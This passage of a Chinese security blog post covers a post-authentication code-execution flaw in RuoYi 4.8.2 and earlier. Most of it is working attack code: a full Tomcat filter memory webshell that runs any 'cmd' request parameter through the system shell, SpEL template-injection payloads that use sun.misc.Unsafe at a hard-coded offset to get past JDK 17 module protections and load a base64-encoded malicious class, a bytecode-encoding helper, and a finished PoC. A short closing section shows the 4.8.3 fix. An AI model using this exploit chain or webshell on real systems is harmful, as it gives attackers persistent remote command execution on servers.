public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static Object getFieldValue(Object obj,String fieldname) throws Exception{
Field field = getField(obj.getClass(), fieldname);
Object o = field.get(obj);
return o;
}
public FilterShell() throws Exception {

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot resources = (StandardRoot) getFieldValue(webappClassLoaderBase, "resources");
StandardContext context = (StandardContext) resources.getContext();

String filterName = "fffff";

//构造FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");

//构造FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(this);

//通过反射机制获取构造器,然后创建对象
ApplicationFilterConfig applicationFilterConfig = createWithConstructor(
ApplicationFilterConfig.class, ApplicationFilterConfig.class,
//形参类型
new Class[]{Context.class, FilterDef.class},
//实参
new Object[]{context, filterDef}
);

//获取到context里的filterConfigs,然后将applicationFilterConfig加入
HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig> )getFieldValue(context, "filterConfigs");
filterConfigs.put(filterName,applicationFilterConfig);

context.addFilterDef(filterDef);
context.addFilterMap(filterMap);

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
try {
String arg0 = request.getParameter("cmd");
if (arg0 != null) {
PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}

Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
chain.doFilter(request,response);
}
} catch (Exception var8) {
}
}

@Override
public void destroy() {

}

}

攻击思路

获取当前上下文的 ClassLoader来加载base64解码后的恶意字节码。

获取当前上下文的 ClassLoader

在 SpEL 表达式中,我们可以通过链式调用(反射或者静态方法)来获取到当前的线程上下文类加载器,或者直接从 Request 对象中提取。

方式 1:通过当前线程获取

Web 容器在处理一个 HTTP 请求时,会把当前 Web 应用的 WebAppClassLoader绑定到处理这个请求的线程上。

1
T(java.lang.Thread).currentThread().getContextClassLoader()
  • 优点:不需要依赖 Spring 的特定类,只要是在 Web 请求线程内触发的 SpEL(绝大多数 Web 漏洞都是),就能稳定拿到当前应用的 ClassLoader。

方式 2:通过 Spring 上下文获取(针对若依/Spring 框架)

利用 Spring 提供的 RequestContextHolder获取当前的 Request,顺藤摸瓜拿到 ServletContext,进而拿到 ClassLoader。

1
T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getRequest().getServletContext().getClassLoader()
  • 优点:非常稳定,百分百拿到的就是处理当前 Spring MVC 逻辑的那个最准确的类加载器。

方式 3:通过已知加载的 Spring 类获取

随便找一个肯定是由 WebAppClassLoader加载的 Spring 核心类,获取它的 ClassLoader。

1
T(org.springframework.web.servlet.DispatcherServlet).class.getClassLoader()

这里使用方式1:

1
2
#Thread_class=''.getClass().forName('java.lang.Thread'),
#ContextClassLoader=#MethodUtils.invokeStaticMethod(#Thread_class,'currentThread').getContextClassLoader(),

踩坑

setAccessible(true) (jdk<9)

拿到 ClassLoader后,因为defineClass 方法是protected修饰的, SpEL 不能直接调用 protected 方法。为了绕过这个限制,在 SpEL 中通常会结合反射和Unsafe类来强行调用。

1
2
3
// 利用反射,把 ClassLoader 里的 defineClass 方法强行设置为可访问(突破 protected 限制)
#defineClassMethod = T(java.lang.ClassLoader).getDeclaredMethod("defineClass", T(byte[]).class, int.class, int.class);
#defineClassMethod.setAccessible(true);

但是这个没成功,因为我当前jdk版本是17,报错module java.base does not "opens java.lang" to unnamed module。这是触发了JDK 9+ 的模块化系统(Jigsaw)与强封装机制

  • JVM 启动时,核心库(如 java.lang)被放在了 java.base这个模块中。
  • 默认情况下,java.base模块 不再向外部(包括恶意 SpEL 表达式所在的未命名模块)开放它的内部 API 和非 public 成员。
  • 当调用 #defineClassMethod.setAccessible(true)时,底层会触发 checkCanSetAccessible安全检查。JVM 发现有人试图破坏 java.base的封装,直接抛出 InaccessibleObjectException拒绝访问。

Unsafe类(jdk9+)

Unsafe类提供了直接操作内存级别的底层 API,并且由于大量底层框架(如 Spring、Netty)都严重依赖它,官方在模块化时“投鼠忌器”,把它放到了 jdk.unsupported模块中,并默认对外开放

绕过原理拆解:

  1. setAccessible(true)的底层源码,其实仅仅是把 AccessibleObject父类中的一个布尔类型属性 override赋值为 true
  2. 只要 override == true,Java 就会跳过所有的访问权限检查。
  3. 既然 setAccessible被模块化系统拦截了,我们就用 Unsafe提供的方法,找到 defineClassMethod这个对象内存里的 override属性的偏移量(Offset)
  4. 然后通过 Unsafe.putBoolean(),直接在内存里把这个布尔值强行改成 true
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 1. 利用反射获取 sun.misc.Unsafe 的单例对象 theUnsafe
// 注意:sun.misc 包即使在高版本 JDK 中也是开放的,所以这里的 setAccessible 会成功
#unsafeClass = T(sun.misc.Unsafe),
#theUnsafeField = #unsafeClass.getDeclaredField('theUnsafe'),
#theUnsafeField.setAccessible(true),
#unsafe = #theUnsafeField.get(null),

// 2. 拿到我们想要的 defineClass 方法对象(复用你的逻辑)
#clazz = T(java.lang.ClassLoader),
#defineClassMethod = #clazz.getDeclaredMethod('defineClass', T(byte[]), T(Integer).TYPE, T(Integer).TYPE),

// 3. 核心黑魔法:获取 AccessibleObject 类中 override 属性的内存偏移量
#overrideField = T(java.lang.reflect.AccessibleObject).getDeclaredField('override'),
#offset = #unsafe.objectFieldOffset(#overrideField),

// 4. 绕过模块化系统,直接在内存中把 defineClassMethod 的 override 值改为 true
#unsafe.putBoolean(#defineClassMethod, #offset, true)

// #evilClass = #defineClassMethod.invoke(#classLoader, #byteCode, 0, #byteCode.length)

在jdk17调用unsafe类的到时候报错:#overrideField=''.getClass().forName('java.lang.reflect.AccessibleObject').getDeclaredField('override')

java.lang.NoSuchFieldException: override

  • 现象AccessibleObject类里面明明有 override这个属性,但当你调用 getDeclaredField("override")时,JVM 内部的 Reflection.filterFields方法会进行拦截,强行把这个属性从结果列表中剔除。
  • 结果:拿不到这个 Field对象,自然就无法把它传给 Unsafe.objectFieldOffset()来获取内存偏移量。获取不到偏移量,修改内存的计划就泡汤了。

盲狙内存偏移量

如果不能通过正常 API 算出 override的内存偏移量,那我们就直接硬编码写死偏移量。

这就涉及到了底层 JVM 的 Java 对象内存布局(JOL, Java Object Layout)。

我们来解剖一下 Method对象的内存结构:

  1. 对象头(Object Header):在 64 位 JVM 中,默认开启了指针压缩(Compressed Oops)。对象头固定占用 12 个字节
  2. 父类属性:排在对象头后面的,是最高级父类的属性。Method继承自 ExecutableExecutable继承自 AccessibleObject。而 AccessibleObject里面唯一的、也是最先排列的属性,就是 boolean override
  3. 结论override属性在内存中的物理位置是完全固定的,它永远紧贴在对象头之后,偏移量精确等于 12。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 1. 获取 Unsafe 对象
#unsafeClass = T(sun.misc.Unsafe),
#theUnsafeField = #unsafeClass.getDeclaredField('theUnsafe'),
#theUnsafeField.setAccessible(true),
#unsafe = #theUnsafeField.get(null),

// 2. 拿到受保护的 defineClass 方法
#clazz = T(java.lang.ClassLoader),
#defineClassMethod = #clazz.getDeclaredMethod('defineClass', T(byte[]), T(Integer).TYPE, T(Integer).TYPE),

// 3. 终极黑魔法:直接盲写内存偏移量 12
// (如果目标 JVM 没开启指针压缩,偏移量是 16。实战中盲狙 12 能覆盖 99% 的 64位环境)
#unsafe.putBoolean(#defineClassMethod, 12, true),

// 4. 现在可以执行了
#evilClass = #defineClassMethod.invoke(#classLoader, #byteCode, 0, #byteCode.length)

poc

以下代码把恶意类字节码转化成base64输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import com.Memshell.tomcat.FilterShell;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.Base64;

public class ClassToBase64 {
public static void main(String[] args) {
try {
// 1. 获取目标类的 Class 对象
Class<?> clazz = FilterShell.class;

// 2. 将类名转换为对应的 .class 文件路径名格式
String className = clazz.getSimpleName() + ".class";

// 3. 通过当前类的 ClassLoader 以流的形式读取字节码
InputStream inputStream = clazz.getResourceAsStream(className);

if (inputStream == null) {
System.out.println("找不到类的字节码");
return;
}

// 4. 将 InputStream 读入字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len;
while ((len = inputStream.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
inputStream.close();

// 5. 获取完整的字节码字节数组
byte[] classBytes = baos.toByteArray();

// 6. Base64 编码
String base64Class = Base64.getEncoder().encodeToString(classBytes);

System.out.println("类的字节码 Base64 编码为:");
System.out.println(base64Class);

} catch (Exception e) {
e.printStackTrace();
}
}
}

然后url编码后嵌入下面的poc中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$__|{#response.getWriter().print({
#MethodUtils="".getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance(),
#evilClass_bytes=''.getClass().forName('java.util.Base64').getDecoder().decode('base64编码,url编码后的恶意字节码'),

#Thread_class=''.getClass().forName('java.lang.Thread'),
#ContextClassLoader=#MethodUtils.invokeStaticMethod(#Thread_class,'currentThread').getContextClassLoader(),

#unsafeClass=''.getClass().forName('sun.misc.Unsafe'),
#theUnsafeField=#unsafeClass.getDeclaredField('theUnsafe'),
#theUnsafeField.setAccessible(true),
#unsafe=#theUnsafeField.get(null),

#ClassLoader=''.getClass().forName('java.lang.ClassLoader'),
#defineClassMethod=#MethodUtils.invokeMethod(#ClassLoader,'getDeclaredMethod',{'defineClass',''.getClass().forName('[B'),1.TYPE,1.TYPE}),

#unsafe.putBoolean(#defineClassMethod, 12, true),

#evilClass=#defineClassMethod.invoke(#ContextClassLoader, #evilClass_bytes, 0, #evilClass_bytes.length),
#evilClass.newInstance()
})}|__

漏洞修复

在4.8.3版本中,模版名称固定,用户不可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@RequiresPermissions("monitor:cache:view")
@PostMapping("/getNames")
public String getCacheNames(ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::fragment-cache-names";
}

@RequiresPermissions("monitor:cache:view")
@PostMapping("/getKeys")
public String getCacheKeys(String cacheName, ModelMap mmap)
{
mmap.put("cacheName", cacheName);
mmap.put("cacheKeys", cacheService.getCacheKeys(cacheName));
return prefix + "/cache::fragment-cache-kyes";
}

@RequiresPermissions("monitor:cache:view")
@PostMapping("/getValue")
public String getCacheValue(String cacheName, String cacheKey, ModelMap mmap)
{
mmap.put("cacheName", cacheName);
mmap.put("cacheKey", cacheKey);
mmap.put("cacheValue", cacheService.getCacheValue(cacheName, cacheKey));
return prefix + "/cache::fragment-cache-value";
}

RuoYi<=4.8.2后台代码执行
http://example.com/2026/05/13/RuoYi4-8-2/
作者
Infernity
发布于
2026年5月13日
许可协议